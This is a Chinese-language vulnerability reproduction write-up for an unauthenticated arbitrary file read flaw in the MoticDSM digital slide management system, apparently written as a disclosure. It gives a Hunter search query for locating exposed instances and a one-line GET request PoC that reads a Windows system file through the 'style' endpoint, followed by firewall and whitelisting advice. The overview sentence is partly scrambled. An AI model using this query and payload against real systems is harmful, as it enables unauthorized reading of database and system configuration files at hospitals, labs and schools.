麦克奥迪数字切片管理系统 style 任意文件读取漏洞复现

0x00 免责声明

技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！

0x01 产品简介

MoticDSM，全称为Motic Digital Slide Management System，即麦克奥迪数字切片管理系统，是由厦门麦克奥迪软件系统工程有限公司开发的一款软件。MoticDSM作为一款功能强大的数字切片管理系统，在医疗、科研、教育等领域发挥着重要作用。它提供了丰富的功能和高效的性能支持，为用户提供了便捷、高效、安全的数字切片图像管理和分析工具。

0x02 漏洞概述

麦克奥迪数字切片管理系统 style 存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件(如数数据库配置文件等等，导致网站处于极度不安全状态。据库配置文件、系统配置文件)。

0x03 资产测绘
Hunter:web.body="API/File/GetNoUploadedFiles"

0x04 漏洞复现
PoC：

GET /UploadService/Page/style?f=C:\\windows\win.ini HTTP/1.1

0x05 修复建议
临时修复方案:
通过防火墙等安全设备设置访问策略，设置白名单访问。
如非必要，禁止公网访问该系统。